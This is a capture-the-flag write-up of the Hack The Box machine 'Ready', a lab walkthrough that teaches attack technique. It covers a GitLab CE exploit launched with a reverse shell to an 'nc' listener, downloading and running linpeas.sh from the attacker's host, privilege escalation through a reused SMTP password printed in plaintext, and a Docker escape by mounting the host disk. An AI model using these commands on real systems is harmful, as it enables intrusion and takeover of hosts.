# Ready Writeup
![](img/65.png)
## Introduction :
Ready is a Medium Linux box released back in December 2020.
## **Part 1 : Initial Enumeration**
As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions.
[ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Ready]
→ nmap -vvv -p- 10.10.10.220 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered
Discovered open port 22/tcp on 10.10.10.220
Discovered open port 5080/tcp on 10.10.10.220
[ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Ready]
→ nmap -sCV -p22,5080 10.10.10.220
Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-05 10:01 CEST
Nmap scan report for 10.10.10.220
Host is up (0.54s latency).

## **Part 2 : Getting User Access**
Our nmap scan picked up port 5080 so let's investigate it:
![](prg/65_001.png)
We can register an account and login, and when we take a look at the help tab we see that we're on an outdated GitLab CE version:
![](prg/65_002.png)
So from here we can look for CVEs from exploit-db:
[ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Ready]
→ searchsploit gitlab CE
----------------------------------------------------------------- ---------------------------------

→ cp $(locate 49334.py) .
[ 10.77.77.77/24 ] [ /dev/pts/1 ] [~/HTB/Ready]
→ vim 49334.py
The python script is very easy to use:
[terminal 1]
[ 10.10.14.8/23 ] [ /dev/pts/1 ] [~/HTB/Ready]
→ python3 49334.py -u nihilist -p password -g http://10.10.10.220 -l 10.10.14.8 -P 9001

[terminal 2]
[ 10.77.77.77/24 ] [ /dev/pts/14 ] [~/HTB/Ready]
→ nc -lvnp 9001

id
uid=998(git) gid=998(git) groups=998(git)
And we get a reverse shell as the git user! Now let's upgrade our shell to a fully interactive TTY:
id
uid=998(git) gid=998(git) groups=998(git)
which python python3 wget curl
/opt/gitlab/embedded/bin/python3
/usr/bin/wget
/opt/gitlab/embedded/bin/curl
python3 -c 'import pty;pty.spawn("/bin/bash")'
git@gitlab:~/gitlab-rails/working$ ^Z

git@gitlab:~/gitlab-rails/working$ export SHELL=bash
git@gitlab:~/gitlab-rails/working$ stty rows 50 columns 200
git@gitlab:~/gitlab-rails/working$ reset
Now that's done we can take a look at the 'dude' user's home directory to see if we have access to the user flag:
git@gitlab:~/gitlab-rails/working$ ls -lash /home
total 12K
4.0K drwxr-xr-x 1 root root 4.0K Dec 2 2020 .
4.0K drwxr-xr-x 1 root root 4.0K Dec 1 2020 ..
4.0K drwxr-xr-x 2 dude dude 4.0K Dec 7 2020 dude
git@gitlab:~/gitlab-rails/working$ ls -lash /home/dude
total 24K
4.0K drwxr-xr-x 2 dude dude 4.0K Dec 7 2020 .
4.0K drwxr-xr-x 1 root root 4.0K Dec 2 2020 ..
0 lrwxrwxrwx 1 root root 9 Dec 7 2020 .bash_history -> /dev/null

4.0K -r--r----- 1 dude git 33 Dec 2 2020 user.txt
git@gitlab:~/gitlab-rails/working$ cat /home/dude/user.txt
e1XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And we got the user flag!
## **Part 3 : Getting Root Access**
Now in order to privesc to the root user we're going to use linpeas.sh to enumerate the box:
[terminal 1]
[ 10.77.77.77/24 ] [ /dev/pts/13 ] [~/HTB/Ready]
→ cp /home/nothing/HTB/Time/linpeas.sh .
[ 10.77.77.77/24 ] [ /dev/pts/13 ] [~/HTB/Ready]
→ python3 -m http.server 9090
Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
[terminal 2]
git@gitlab:~/gitlab-rails/working$ wget http://10.10.14.8:9090/linpeas.sh -O /tmp/peas.sh
--2021-07-05 08:31:12-- http://10.10.14.8:9090/linpeas.sh

git@gitlab:~/gitlab-rails/working$ chmod +x /tmp/peas.sh
git@gitlab:~/gitlab-rails/working$ /tmp/peas.sh
` ![](prg/65_003.png)
we let linpeas run a bit, and then when we scroll through the output we see a certain SMTP password:
![](prg/65_004.png)
And if you test it to see if there is password reuse to become root:
git@gitlab:~/gitlab-rails/working$ su root
Password:i **wW59U!ZKMbG9+*#h**
root@gitlab:/var/opt/gitlab/gitlab-rails/working# id
uid=0(root) gid=0(root) groups=0(root)
root@gitlab:/var/opt/gitlab/gitlab-rails/working# cd ~
root@gitlab:~# ls -l
total 0
And we got root! however we're still in a docker container and we need to escape it. To do so we check the container capabilities with **capsh** :
root@gitlab:~# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37
Securebits: 00/0x0/1'b0
secure-noroot: no (unlocked)
secure-no-suid-fixup: no (unlocked)
secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=0(root)
So it seems that cap_sys_admin, cap_sys_ptrace, cap_dac_override, cap_dac_read_search and cap_sys_module are allowed, so it means that the container will allow the mounting of arbitrary partitions, including the main one used by the host, so we list the partitions:

/dev/sda3 37746688 41940991 4194304 2G Linux swap
We can safely assume that the host system's files are in **/dev/sda2** , so let's mount /dev/sda2 into **/mnt** :
root@gitlab:~# mkdir /mnt/nihilist
root@gitlab:~# mount /dev/sda2 /mnt/nihilist/
root@gitlab:~# cd /mnt/nihilist/root/
root@gitlab:/mnt/nihilist/root# ls -l
total 16
drwxr-xr-x 3 root root 4096 Dec 1 2020 docker-gitlab
drwxr-xr-x 10 root root 4096 Jul 9 2020 ready-channel
-r-------- 1 root root 33 Jul 8 2020 root.txt
drwxr-xr-x 3 root root 4096 May 18 2020 snap
root@gitlab:/mnt/nihilist/root# cat root.txt
b7XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it! We managed to mount the host system's file system and got the root flag.
## **Conclusion**
Here we can see the progress graph :
